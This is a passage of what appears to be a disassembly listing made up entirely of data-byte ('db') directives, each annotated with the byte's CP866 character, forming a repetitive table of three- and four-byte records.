		db 0B9h	; ╧
		db  84h	; └
		db  15h	;  
		db  84h	; └
		db 0BBh	; ╩
		db    1	;  
		db    1	;  
		db  84h	; └
		db 0BBh	; ╩
		db    1	;  
		db    3	;  
		db  84h	; └
		db 0BDh	; Ґ
		db  4Ch	; L
		db  0Ah	;  
		db  84h	; └
		db  13h	;  
		db  4Bh	; K
		db  32h	; 2
		db  84h	; └
		db 0BEh	; Ў
		db  5Ch	; \
		db  0Fh	;  
		db  84h	; └
		db 0C0h	; ю
		db    1	;  
		db  0Bh	;  
		db  84h	; └
		db 0C0h	; ю
		db    1	;  
		db  0Dh	;  
		db  84h	; └
		db 0C2h	; б
		db  0Ah	;  
		db    3	;  
		db  84h	; └
		db 0C3h	; ц
		db  14h	;  
		db  0Dh	;  
		db  84h	; └
		db 0C3h	; ц
		db  14h	;  
		db    3	;  
		db  84h	; └
		db 0C3h	; ц
		db    7	;  
		db  1Fh	;  
		db  84h	; └
		db 0C5h	; е
		db 0F8h	; Ь
		db  0Ah	;  
		db  84h	; └
		db 0C5h	; е
		db 0F8h	; Ь
		db    9	;  
		db  84h	; └
		db 0C5h	; е
		db 0F8h	; Ь
		db  5Ah	; Z
		db  84h	; └
		db 0C6h	; ф
		db 0C9h	; и
		db  0Ah	;  
		db  84h	; └
		db 0C6h	; ф
		db 0CAh	; й
		db  0Ah	;  
		db  84h	; └
		db 0C7h	; г
		db    1	;  
		db 0A3h	; ё
		db  84h	; └
		db 0C7h	; г
		db    1	;  
		db    2	;  
		db  84h	; └
		db  14h	;  
		db 0FBh	; Ш
		db  0Ch	;  
		db  84h	; └
		db  14h	;  
		db 0FBh	; Ш
		db    2	;  
		db  84h	; └
		db 0C8h	; х
		db  20h	;  
		db  22h	; "
		db  84h	; └
		db 0CBh	; к
		db 0FAh	; З
		db  0Ah	;  
		db  84h	; └
		db 0CCh	; л
		db    2	;  
		db  66h	; f
		db  84h	; └
		db 0CCh	; л
		db    2	;  
		db  67h	; g
		db  84h	; └
		db 0CCh	; л
		db    2	;  
		db  16h	;  
		db  84h	; └
		db 0CDh	; м
		db    1	;  
		db    1	;  
		db  84h	; └
		db 0CDh	; м
		db    7	;  
		db  33h	; 3
		db  84h	; └
		db 0CEh	; н
		db    1	;  
		db  0Bh	;  
		db  84h	; └
		db 0CEh	; н
		db  2Ch	; ,
		db  15h	;  
		db  84h	; └
		db 0CFh	; о
		db  90h	; ░
		db    2	;  
		db  84h	; └
		db 0D0h	; п
		db 0FAh	; З
		db    1	;  
		db  84h	; └
		db 0D1h	; я
		db    2	;  
		db    1	;  
		db  84h	; └
		db 0D1h	; я
		db    5	;  
		db    1	;  
		db  84h	; └
		db 0D2h	; р
		db  0Dh	;  
		db    2	;  
		db  84h	; └
		db 0D3h	; с
		db    1	;  
		db  0Ah	;  
		db  84h	; └
		db 0D4h	; т
		db  0Bh	;  
		db  49h	; I
		db  84h	; └
		db 0D4h	; т
		db  0Bh	;  
		db    9	;  
		db  84h	; └
		db 0D5h	; у
		db    1	;  
		db  1Bh	;  
		db  84h	; └
		db 0D6h	; ж
		db    1	;  
		db  63h	; c
		db  84h	; └
		db 0D7h	; в
		db  30h	; 0
		db  0Fh	;  
		db  84h	; └
		db 0DAh	; з
		db    1	;  
		db  0Ch	;  
		db  84h	; └
		db  16h	;  
		db 0FEh	; Ч
		db 0E6h	; Ф
		db  84h	; └
		db  16h	;  
		db 0FEh	; Ч
		db 0E8h	; Х
		db  84h	; └
		db 0DDh	; щ
		db  24h	; $
		db  82h	; ┌
		db  84h	; └
		db 0DEh	; ч
		db  78h	; x
		db  0Ch	;  
		db  84h	; └
		db 0DEh	; ч
		db  78h	; x
		db  0Dh	;  
		db  84h	; └
		db 0DFh	; ъ
		db    4	;  
		db    1	;  
		db  84h	; └
		db 0E1h	; А
		db    5	;  
		db  0Ah	;  
		db  84h	; └
		db 0E1h	; А
		db    5	;  
		db  20h	;  
		db  84h	; └
		db 0E2h	; Б
		db  10h	;  
		db  14h	;  
		db  84h	; └
		db 0E3h	; Ц
		db  3Ch	; <
		db    2	;  
		db  84h	; └
		db 0E3h	; Ц
		db  3Ch	; <
		db  1Eh	;  
		db  84h	; └
		db 0E3h	; Ц
		db  40h	; @
		db  0Dh	;  
		db  84h	; └
		db 0E5h	; Е
		db  16h	;  
		db    2	;  
		db  84h	; └
		db 0E5h	; Е
		db    8	;  
		db    6	;  
		db  84h	; └
		db  17h	;  
		db 0C0h	; ю
		db  22h	; "
		db  84h	; └
		db  17h	;  
		db 0C0h	; ю
		db  23h	; #
		db  84h	; └
		db 0E6h	; Ф
		db 0C8h	; х
		db 0C8h	; х
		db  84h	; └
		db 0E7h	; Г
		db    1	;  
		db  1Eh	;  
		db  84h	; └
		db 0E7h	; Г
		db  14h	;  
		db  64h	; d
		db  84h	; └
		db 0E7h	; Г
		db  33h	; 3
		db    4	;  
		db  84h	; └
		db 0E9h	; И
		db 0F7h	; В
		db  0Ah	;  
		db  84h	; └
		db 0E9h	; И
		db 0F7h	; В
		db  0Bh	;  
		db  84h	; └
		db 0EAh	; Й
		db    1	;  
		db    1	;  
		db  84h	; └
		db 0EAh	; Й
		db 0FAh	; З
		db  1Fh	;  
		db  84h	; └
		db 0EBh	; К
		db  40h	; @
		db    1	;  
		db  84h	; └
		db 0EBh	; К
		db  40h	; @
		db    2	;  
		db  84h	; └
		db 0EDh	; М
		db    1	;  
		db  2Ah	; *
		db  84h	; └
		db 0EDh	; М
		db    2	;  
		db  51h	; Q
		db  84h	; └
		db 0EFh	; О
		db    1	;  
		db  34h	; 4
		db  84h	; └
		db  18h	;  
		db  7Eh	; ~
		db    5	;  
		db  84h	; └
		db  18h	;  
		db  7Eh	; ~
		db    7	;  
		db  84h	; └
		db 0F1h	; Я
		db  8Ch	; ▄
		db  0Ah	;  
		db  84h	; └
		db 0F1h	; Я
		db  8Ch	; ▄
		db  0Bh	;  
		db  84h	; └
		db 0F1h	; Я
		db    6	;  
		db  0Ah	;  
		db  84h	; └
		db 0F1h	; Я
		db  42h	; B
		db    6	;  
		db  84h	; └
		db 0F1h	; Я
		db  50h	; P
		db    1	;  
		db  84h	; └
		db 0F1h	; Я
		db  50h	; P
		db  0Ah	;  
		db  84h	; └
		db 0F5h	; У
		db  21h	; !
		db    7	;  
		db  84h	; └
		db 0F6h	; Ж
		db 0A1h	; ║
		db  64h	; d
		db  84h	; └
		db 0F6h	; Ж
		db 0A1h	; ║
		db 0C8h	; х
		db  84h	; └
		db 0F8h	; Ь
		db  0Ah	;  
		db    2	;  
		db  84h	; └
		db 0F8h	; Ь
		db 0CCh	; л
		db    1	;  
		db  84h	; └
		db 0F8h	; Ь
		db 0EDh	; М
		db 0FAh	; З
		db  84h	; └
		db 0F8h	; Ь
		db  40h	; @
		db 0FAh	; З
		db  84h	; └
		db 0F9h	; Ы
		db  14h	;  
		db  19h	;  
		db  84h	; └
		db 0F9h	; Ы
		db  28h	; (
		db  19h	;  
		db  84h	; └
		db  19h	;  
		db  58h	; X
		db 0D3h	; с
		db  84h	; └
		db 0FAh	; З
		db  6Ch	; l
		db  0Ch	;  
		db  84h	; └
		db 0FAh	; З
		db  6Ch	; l
		db  83h	; ┐
		db  84h	; └
		db 0FAh	; З
		db  6Eh	; n
		db  0Ch	;  
		db  84h	; └
		db 0FAh	; З
		db  74h	; t
		db  0Ch	;  
		db  84h	; └
		db 0FCh	; Э
		db    1	;  
		db    7	;  
		db  84h	; └
		db 0FCh	; Э
		db    3	;  
		db  0Ah	;  
		db  84h	; └
		db 0FEh	; Ч
		db    1	;  
		db  0Bh	;  
		db  84h	; └
		db  1Eh	;  
		db 0C7h	; г
		db    1	;  
		db  84h	; └
		db  1Eh	;  
		db 0C7h	; г
		db  37h	; 7
		db  84h	; └
		db  20h	;  
		db 0C9h	; и
		db    5	;  
		db  84h	; └
		db  20h	;  
		db 0C9h	; и
		db    6	;  
		db  84h	; └
		db  21h	; !
		db  84h	; └
		db    6	;  
		db  84h	; └
		db  22h	; "
		db 0F8h	; Ь
		db    1	;  
		db  84h	; └
		db  23h	; #
		db 0C3h	; ц
		db  0Bh	;  
		db  84h	; └
		db  23h	; #
		db 0C3h	; ц
		db  0Dh	;  
		db  84h	; └
		db  26h	; &
		db 0BEh	; Ў
		db    3	;  
		db  84h	; └
		db  26h	; &
		db 0BEh	; Ў
		db    4	;  
		db  84h	; └
		db  28h	; (
		db  79h	; y
		db    2	;  
		db  84h	; └
		db  28h	; (
		db  79h	; y
		db    4	;  
		db  84h	; └
		db  29h	; )
		db  78h	; x
		db    2	;  
		db  84h	; └
		db  2Ah	; *
		db  80h	; ─
		db    2	;  
		db  84h	; └
		db  2Dh	; -
		db 0C0h	; ю
		db    6	;  
		db  84h	; └
		db  2Eh	; .
		db  74h	; t
		db    1	;  
		db  84h	; └
		db  2Eh	; .
		db  74h	; t
		db  0Bh	;  
		db  84h	; └
		db  2Fh	; /
		db  80h	; ─
		db    3	;  
		db  84h	; └
		db  30h	; 0
		db 0F1h	; Я
		db    2	;  
		db  84h	; └
		db  30h	; 0
		db 0F1h	; Я
		db    3	;  
		db  84h	; └
		db  31h	; 1
		db 0DDh	; щ
		db    1	;  
		db  84h	; └
		db  31h	; 1
		db 0DDh	; щ
		db  1Eh	;  
		db  84h	; └
		db    5	;  
		db  48h	; H
		db  0Ah	;  
		db  84h	; └
		db  33h	; 3
		db 0A3h	; ё
		db    3	;  
		db  84h	; └
		db  34h	; 4
		db  9Ah	;  
		db  0Ah	;  
		db  84h	; └
		db  34h	; 4
		db  9Ah	;  
		db  14h	;  
		db  84h	; └
		db  37h	; 7
		db  82h	; ┌
		db    3	;  
		db  84h	; └
		db  38h	; 8
		db  78h	; x
		db  0Ch	;  
		db  84h	; └
		db  38h	; 8
		db  78h	; x
		db  0Dh	;  
		db  84h	; └
		db  3Ah	; :
		db 0DEh	; ч
		db  13h	;  
		db  84h	; └
		db  3Ah	; :
		db 0DEh	; ч
		db  14h	;  
		db  84h	; └
		db  3Ch	; <
		db 0F0h	; П
		db    5	;  
		db  84h	; └
		db  3Ch	; <
		db 0F0h	; П
		db    7	;  
		db  84h	; └
		db  3Ch	; <
		db 0F0h	; П
		db    8	;  
		db  84h	; └
		db  3Dh	; =
		db 0B0h	; ╟
		db    8	;  
		db  84h	; └
		db  3Eh	; >
		db  58h	; X
		db  5Fh	; _
		db  84h	; └
		db  41h	; A
		db  10h	;  
		db    8	;  
		db  84h	; └
		db  46h	; F
		db    9	;  
		db  64h	; d
		db  84h	; └
		db  46h	; F
		db    9	;  
		db  18h	;  
		db  84h	; └
		db  48h	; H
		db  8Ch	; ▄
		db  2Dh	; -
		db  84h	; └
		db  48h	; H
		db  8Ch	; ▄
		db  2Eh	; .
		db  84h	; └
		db  4Ah	; J
		db    1	;  
		db    3	;  
		db  84h	; └
		db  4Ah	; J
		db    1	;  
		db    5	;  
		db  84h	; └
		db  4Ch	; L
		db  3Fh	; ?
		db  1Bh	;  
		db  84h	; └
		db  4Ch	; L
		db  40h	; @
		db  37h	; 7
		db  84h	; └
		db  4Ch	; L
		db  50h	; P
		db  34h	; 4
		db  84h	; └
		db    8	;  
		db  79h	; y
		db  0Eh	;  
		db  84h	; └
		db  50h	; P
		db  0Dh	;  
		db  0Ah	;  
		db  84h	; └
		db  50h	; P
		db    2	;  
		db  0Bh	;  
		db  84h	; └
		db  50h	; P
		db 0C8h	; х
		db 0FAh	; З
		db  84h	; └
		db    9	;  
		db  7Fh	; 
		db  0Fh	;  
		db  85h	; ┘
		db    1	;  
		db  68h	; h
		db 0C4h	; д
		db  85h	; ┘
		db    1	;  
		db  69h	; i
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  0Bh	;  
		db    6	;  
		db  85h	; ┘
		db    1	;  
		db  70h	; p
		db  10h	;  
		db  85h	; ┘
		db    1	;  
		db  73h	; s
		db  0Ah	;  
		db  85h	; ┘
		db    1	;  
		db  74h	; t
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  75h	; u
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  77h	; w
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  78h	; x
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  78h	; x
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db  78h	; x
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db  79h	; y
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  7Ah	; z
		db  32h	; 2
		db  85h	; ┘
		db    1	;  
		db  7Ch	; |
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db  7Ch	; |
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db  7Ch	; |
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  7Eh	; ~
		db  17h	;  
		db  85h	; ┘
		db    1	;  
		db  80h	; ─
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  83h	; ┐
		db 0F1h	; Я
		db  85h	; ┘
		db    1	;  
		db  84h	; └
		db  46h	; F
		db  85h	; ┘
		db    1	;  
		db  85h	; ┘
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  86h	; ├
		db 0F0h	; П
		db  85h	; ┘
		db    1	;  
		db  87h	; ┤
		db  10h	;  
		db  85h	; ┘
		db    1	;  
		db  88h	; ┬
		db  0Ah	;  
		db  85h	; ┘
		db    1	;  
		db  88h	; ┬
		db  1Eh	;  
		db  85h	; ┘
		db    1	;  
		db  8Ah	; ┼
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  8Bh	; ▀
		db 0D3h	; с
		db  85h	; ┘
		db    1	;  
		db  8Eh	; ▌
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db  90h	; ░
		db  82h	; ┌
		db  85h	; ┘
		db    1	;  
		db  91h	; ▒
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  92h	; ▓
		db 0FAh	; З
		db  85h	; ┘
		db    1	;  
		db  94h	; ■
		db 0FAh	; З
		db  85h	; ┘
		db    1	;  
		db  96h	; √
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db  96h	; √
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db  96h	; √
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  9Bh	; ⌡
		db    9	;  
		db  85h	; ┘
		db    1	;  
		db  9Bh	; ⌡
		db  5Ah	; Z
		db  85h	; ┘
		db    1	;  
		db  9Ch	; °
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db  9Eh	; ·
		db  0Ah	;  
		db  85h	; ┘
		db    1	;  
		db  9Fh	; ÷
		db  0Bh	;  
		db  85h	; ┘
		db    1	;  
		db 0A0h	; ═
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  11h	;  
		db  80h	; ─
		db  85h	; ┘
		db    1	;  
		db  11h	;  
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db  11h	;  
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  11h	;  
		db    6	;  
		db  85h	; ┘
		db    1	;  
		db 0ABh	; ╚
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db 0ABh	; ╚
		db 0FAh	; З
		db  85h	; ┘
		db    1	;  
		db 0ACh	; ╛
		db 0FAh	; З
		db  85h	; ┘
		db    1	;  
		db 0B2h	; ╡
		db  0Dh	;  
		db  85h	; ┘
		db    1	;  
		db 0B4h	; Є
		db  28h	; (
		db  85h	; ┘
		db    1	;  
		db 0B5h	; ╣
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db 0BAh	; ╨
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db 0BBh	; ╩
		db  0Bh	;  
		db  85h	; ┘
		db    1	;  
		db 0C0h	; ю
		db    4	;  
		db  85h	; ┘
		db    1	;  
		db 0C2h	; б
		db  0Ah	;  
		db  85h	; ┘
		db    1	;  
		db 0C4h	; д
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db 0C6h	; ф
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db    2	;  
		db  65h	; e
		db  85h	; ┘
		db    1	;  
		db 0CAh	; й
		db  0Ah	;  
		db  85h	; ┘
		db    1	;  
		db 0CEh	; н
		db  0Bh	;  
		db  85h	; ┘
		db    1	;  
		db 0CFh	; о
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db 0D5h	; у
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db 0D6h	; ж
		db  14h	;  
		db  85h	; ┘
		db    1	;  
		db 0D7h	; в
		db  7Dh	; }
		db  85h	; ┘
		db    1	;  
		db 0DEh	; ч
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db 0E1h	; А
		db    7	;  
		db  85h	; ┘
		db    1	;  
		db 0E4h	; Д
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  17h	;  
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db  17h	;  
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db 0EDh	; М
		db  0Ah	;  
		db  85h	; ┘
		db    1	;  
		db  18h	;  
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db  18h	;  
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db 0F0h	; П
		db  17h	;  
		db  85h	; ┘
		db    1	;  
		db 0F0h	; П
		db  19h	;  
		db  85h	; ┘
		db    1	;  
		db 0F2h	; Р
		db    8	;  
		db  85h	; ┘
		db    1	;  
		db 0F3h	; С
		db  10h	;  
		db  85h	; ┘
		db    1	;  
		db 0F3h	; С
		db  13h	;  
		db  85h	; ┘
		db    1	;  
		db 0F6h	; Ж
		db 0BEh	; Ў
		db  85h	; ┘
		db    1	;  
		db 0FCh	; Э
		db  0Bh	;  
		db  85h	; ┘
		db    1	;  
		db 0FCh	; Э
		db  0Ch	;  
		db  85h	; ┘
		db    1	;  
		db 0FDh	; Щ
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  1Bh	;  
		db  0Ch	;  
		db  85h	; ┘
		db    1	;  
		db  1Ch	;  
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db  1Dh	;  
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db    3	;  
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  20h	;  
		db  56h	; V
		db  85h	; ┘
		db    1	;  
		db  24h	; $
		db  10h	;  
		db  85h	; ┘
		db    1	;  
		db  27h	; '
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db  28h	; (
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  28h	; (
		db    3	;  
		db  85h	; ┘
		db    1	;  
		db  2Bh	; +
		db  1Eh	;  
		db  85h	; ┘
		db    1	;  
		db  2Ch	; ,
		db    9	;  
		db  85h	; ┘
		db    1	;  
		db  2Eh	; .
		db  0Fh	;  
		db  85h	; ┘
		db    1	;  
		db  30h	; 0
		db 0FAh	; З
		db  85h	; ┘
		db    1	;  
		db  34h	; 4
		db    9	;  
		db  85h	; ┘
		db    1	;  
		db  36h	; 6
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  36h	; 6
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db  38h	; 8
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  39h	; 9
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  3Ch	; <
		db 0CAh	; й
		db  85h	; ┘
		db    1	;  
		db  3Ch	; <
		db 0FCh	; Э
		db  85h	; ┘
		db    1	;  
		db  3Ch	; <
		db  3Bh	; ;
		db  85h	; ┘
		db    1	;  
		db  3Dh	; =
		db  0Ch	;  
		db  85h	; ┘
		db    1	;  
		db  44h	; D
		db  1Ah	;  
		db  85h	; ┘
		db    1	;  
		db    7	;  
		db    5	;  
		db  85h	; ┘
		db    1	;  
		db  4Dh	; M
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  4Dh	; M
		db    4	;  
		db  85h	; ┘
		db    1	;  
		db  50h	; P
		db  0Ah	;  
		db  85h	; ┘
		db    1	;  
		db  50h	; P
		db  14h	;  
		db  85h	; ┘
		db    1	;  
		db  51h	; Q
		db  0Ch	;  
		db  85h	; ┘
		db    1	;  
		db  52h	; R
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  54h	; T
		db  36h	; 6
		db  85h	; ┘
		db    1	;  
		db  58h	; X
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  5Bh	; [
		db  29h	; )
		db  85h	; ┘
		db    1	;  
		db  5Ch	; \
		db 0F7h	; В
		db  85h	; ┘
		db    1	;  
		db  5Eh	; ^
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  5Eh	; ^
		db    2	;  
		db  85h	; ┘
		db    1	;  
		db  60h	; `
		db    1	;  
		db  85h	; ┘
		db    1	;  
		db  60h	; `
		db    4	;  
		db  85h	; ┘
		db  0Ah	;  
		db    5	;  
		db  0Ch	;  
		db  85h	; ┘
		db  0Ah	;  
		db    6	;  
		db  0Bh	;  
		db  85h	; ┘
		db  64h	; d
		db 0F0h	; П
		db  0Ah	;  
		db  85h	; ┘
		db  64h	; d
		db 0F0h	; П
		db  0Bh	;  
		db  85h	; ┘
		db  65h	; e
		db  32h	; 2
		db  1Ah	;  
		db  85h	; ┘
		db  65h	; e
		db  60h	; `
		db  19h	;  
		db  85h	; ┘
		db  66h	; f
		db  0Ch	;  
		db  1Eh	;  
		db  85h	; ┘
		db  66h	; f
		db 0CCh	; л
		db  0Ah	;  
		db  85h	; ┘
		db  67h	; g
		db  4Ch	; L
		db    1	;  
		db  85h	; ┘
		db  68h	; h
		db    1	;  
		db    3	;  
		db  85h	; ┘
		db  69h	; i
		db  0Bh	;  
		db    3	;  
		db  85h	; ┘
		db  6Ah	; j
		db    3	;  
		db    1	;  
		db  85h	; ┘
		db  6Dh	; m
		db    4	;  
		db  84h	; └
		db  85h	; ┘
		db  0Bh	;  
		db  0Bh	;  
		db  6Fh	; o
		db  85h	; ┘
		db  0Bh	;  
		db  7Bh	; {
		db  2Dh	; -
		db  85h	; ┘
		db  0Bh	;  
		db  7Ch	; |
		db 0A4h	; є
		db  85h	; ┘
		db  6Fh	; o
		db 0C8h	; х
		db    1	;  
		db  85h	; ┘
		db  0Ch	;  
		db  1Eh	;  
		db    1	;  
		db  85h	; ┘
		db  0Ch	;  
		db  1Eh	;  
		db    2	;  
		db  85h	; ┘
		db  79h	; y
		db    5	;  
		db  0Eh	;  
		db  85h	; ┘
		db  7Dh	; }
		db    1	;  
		db    9	;  
		db  85h	; ┘
		db  7Eh	; ~
		db    3	;  
		db 0FEh	; Ч
		db  85h	; ┘
		db  7Fh	; 
		db  40h	; @
		db  82h	; ┌
		db  85h	; ┘
		db  0Dh	;  
		db    7	;  
		db    2	;  
		db  85h	; ┘
		db  0Dh	;  
		db    7	;  
		db    5	;  
		db  85h	; ┘
		db  89h	; ┴
		db    4	;  
		db    3	;  
		db  85h	; ┘
		db  8Ah	; ┼
		db    1	;  
		db    1	;  
		db  85h	; ┘
		db  0Eh	;  
		db    2	;  
		db    1	;  
		db  85h	; ┘
		db  91h	; ▒
		db 0E0h	; Ю
		db    3	;  
		db  85h	; ┘
		db  91h	; ▒
		db 0E4h	; Д
		db    6	;  
		db  85h	; ┘
		db  94h	; ■
		db  30h	; 0
		db    3	;  
		db  85h	; ┘
		db  0Fh	;  
		db  80h	; ─
		db    1	;  
		db  85h	; ┘
		db  0Fh	;  
		db  40h	; @
		db    9	;  
		db  85h	; ┘
		db  98h	; ≤
		db    0	;  
		db  82h	; ┌
		db  85h	; ┘
		db  99h	; ≥
		db  16h	;  
		db  0Bh	;  
		db  85h	; ┘
		db  99h	; ≥
		db  16h	;  
		db  13h	;  
		db  85h	; ┘
		db  9Eh	; ·
		db 0FCh	; Э
		db    1	;  
		db  85h	; ┘
		db  10h	;  
		db    7	;  
		db  32h	; 2
		db  85h	; ┘
		db 0A3h	; ё
		db  40h	; @
		db    1	;  
		db  85h	; ┘
		db 0A3h	; ё
		db  40h	; @
		db    2	;  
		db  85h	; ┘
		db 0A4h	; є
		db 0FEh	; Ч
		db    1	;  
		db  85h	; ┘
		db 0A4h	; є
		db 0FEh	; Ч
		db    2	;  
		db  85h	; ┘
		db 0A9h	; ╘
		db  0Ah	;  
		db    3	;  
		db  85h	; ┘
		db 0AAh	; ╙
		db    2	;  
		db  0Eh	;  
		db  85h	; ┘
		db 0ADh	; ґ
		db  46h	; F
		db  3Ch	; <
		db  85h	; ┘
		db 0B0h	; ╟
		db 0DCh	; э
		db    1	;  
		db  85h	; ┘
		db  12h	;  
		db  50h	; P
		db    1	;  
		db  85h	; ┘
		db 0B4h	; Є
		db 0A4h	; є
		db  0Ah	;  
		db  85h	; ┘
		db 0BAh	; ╨
		db    1	;  
		db    6	;  
		db  85h	; ┘
		db 0BBh	; ╩
		db    1	;  
		db    1	;  
		db  85h	; ┘
		db 0BCh	; ╪
		db  1Eh	;  
		db    4	;  
		db  85h	; ┘
		db 0BDh	; Ґ
		db  1Eh	;  
		db    1	;  
		db  85h	; ┘
		db 0BDh	; Ґ
		db  1Eh	;  
		db 0F3h	; С
		db  85h	; ┘
		db  13h	;  
		db  7Eh	; ~
		db    1	;  
		db  85h	; ┘
		db 0C0h	; ю
		db 0B5h	; ╣
		db  42h	; B
		db  85h	; ┘
		db 0C2h	; б
		db 0E2h	; Б
		db  43h	; C
		db  85h	; ┘
		db 0C2h	; б
		db 0E5h	; Е
		db  62h	; b
		db  85h	; ┘
		db 0C3h	; ц
		db    2	;  
		db  0Ah	;  
		db  85h	; ┘
		db 0C3h	; ц
		db    2	;  
		db  14h	;  
		db  85h	; ┘
		db    2	;  
		db  5Ah	; Z
		db    3	;  
		db  85h	; ┘
		db    2	;  
		db  5Ah	; Z
		db    6	;  
		db  85h	; ┘
		db    2	;  
		db  5Ah	; Z
		db    7	;  
		db  85h	; ┘
		db  14h	;  
		db  10h	;  
		db    1	;  
		db  85h	; ┘
		db 0CDh	; м
		db  10h	;  
		db  81h	; │
		db  85h	; ┘
		db 0CDh	; м
		db  10h	;  
		db  86h	; ├
		db  85h	; ┘
		db 0CDh	; м
		db  10h	;  
		db  8Dh	; █
		db  85h	; ┘
		db 0CDh	; м
		db  40h	; @
		db  81h	; │
		db  85h	; ┘
		db 0CDh	; м
		db  40h	; @
		db  87h	; ┤
		db  85h	; ┘
		db  15h	;  
		db 0BEh	; Ў
		db    5	;  
		db  85h	; ┘
		db 0D5h	; у
		db  0Bh	;  
		db    1	;  
		db  85h	; ┘
		db 0D8h	; ь
		db  9Bh	; ⌡
		db  64h	; d
		db  85h	; ┘
		db 0D9h	; ы
		db 0F1h	; Я
		db 0F5h	; У
		db  85h	; ┘
		db 0DCh	; э
		db 0FDh	; Щ
		db    2	;  
		db  85h	; ┘
		db 0DDh	; щ
		db    1	;  
		db 0FDh	; Щ
		db  85h	; ┘
		db 0E2h	; Б
		db  88h	; ┬
		db    7	;  
		db  85h	; ┘
		db  17h	;  
		db 0C4h	; д
		db  17h	;  
		db  85h	; ┘
		db  17h	;  
		db 0F6h	; Ж
		db 0C9h	; и
		db  85h	; ┘
		db 0E8h	; Х
		db    1	;  
		db  1Dh	;  
		db  85h	; ┘
		db 0E8h	; Х
		db 0FEh	; Ч
		db  80h	; ─
		db  85h	; ┘
		db 0EBh	; К
		db  80h	; ─
		db    1	;  
		db  85h	; ┘
		db 0ECh	; Л
		db  30h	; 0
		db    2	;  
		db  85h	; ┘
		db 0EDh	; М
		db    1	;  
		db    2	;  
		db  85h	; ┘
		db 0EEh	; Н
		db    2	;  
		db  0Ch	;  
		db  85h	; ┘
		db  18h	;  
		db  14h	;  
		db    1	;  
		db  85h	; ┘
		db  18h	;  
		db  48h	; H
		db  1Eh	;  
		db  85h	; ┘
		db 0F0h	; П
		db  64h	; d
		db    2	;  
		db  85h	; ┘
		db 0F2h	; Р
		db    8	;  
		db    1	;  
		db  85h	; ┘
		db 0F3h	; С
		db    3	;  
		db    1	;  
		db  85h	; ┘
		db 0F3h	; С
		db    3	;  
		db    2	;  
		db  85h	; ┘
		db 0F5h	; У
		db  70h	; p
		db    2	;  
		db  85h	; ┘
		db 0F9h	; Ы
		db    1	;  
		db  0Dh	;  
		db  85h	; ┘
		db  19h	;  
		db 0FCh	; Э
		db  0Ah	;  
		db  85h	; ┘
		db 0FAh	; З
		db 0FEh	; Ч
		db 0E7h	; Г
		db  85h	; ┘
		db 0FDh	; Щ
		db  66h	; f
		db 0CAh	; й
		db  85h	; ┘
		db 0FEh	; Ч
		db    5	;  
		db  0Ah	;  
		db  85h	; ┘
		db 0FEh	; Ч
		db    5	;  
		db    3	;  
		db  85h	; ┘
		db  1Ah	;  
		db  88h	; ┬
		db  28h	; (
		db  85h	; ┘
		db  1Bh	;  
		db    4	;  
		db  79h	; y
		db  85h	; ┘
		db  1Ch	;  
		db  14h	;  
		db  0Ch	;  
		db  85h	; ┘
		db  1Dh	;  
		db    1	;  
		db  1Bh	;  
		db  85h	; ┘
		db  1Dh	;  
		db  65h	; e
		db 0F8h	; Ь
		db  85h	; ┘
		db    3	;  
		db    5	;  
		db    2	;  
		db  85h	; ┘
		db  1Eh	;  
		db    8	;  
		db    2	;  
		db  85h	; ┘
		db  1Fh	;  
		db  1Eh	;  
		db    8	;  
		db  85h	; ┘
		db  1Fh	;  
		db  1Eh	;  
		db    9	;  
		db  85h	; ┘
		db  20h	;  
		db 0C9h	; и
		db    1	;  
		db  85h	; ┘
		db  21h	; !
		db    1	;  
		db 0A1h	; ║
		db  85h	; ┘
		db  21h	; !
		db  94h	; ■
		db  0Bh	;  
		db  85h	; ┘
		db  22h	; "
		db  1Ch	;  
		db 0F1h	; Я
		db  85h	; ┘
		db  22h	; "
		db  1Ch	;  
		db 0F5h	; У
		db  85h	; ┘
		db  23h	; #
		db  87h	; ┤
		db    1	;  
		db  85h	; ┘
		db  23h	; #
